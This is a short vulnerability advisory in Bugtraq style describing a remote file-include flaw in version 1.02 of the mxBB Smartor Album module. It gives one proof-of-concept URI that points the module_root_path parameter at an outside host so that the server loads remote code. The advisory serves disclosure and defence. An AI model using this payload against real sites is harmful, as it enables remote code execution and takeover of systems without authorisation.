MX Smartor Album Module Album.PHP Remote File Include Vulnerability

Bugtraq ID:	20932
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 06 2006 12:00AM
Updated:	Nov 07 2006 07:27PM
Credit:	Paul Bakoyiannis is credited with the discovery of this vulnerability.
Vulnerable:	mxBB Smartor Album module 1.02
Not Vulnerable:

MX Smartor Album Module Album.PHP Remote File Include Vulnerability

MX Smartor Album module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.02; other versions may also be affected.

MX Smartor Album Module Album.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/modules/mx_smartor/album.php?smartor_mode=album_cat&module_root_path=http://example2.com

MX Smartor Album Module Album.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

MX Smartor Album Module Album.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (mxBB)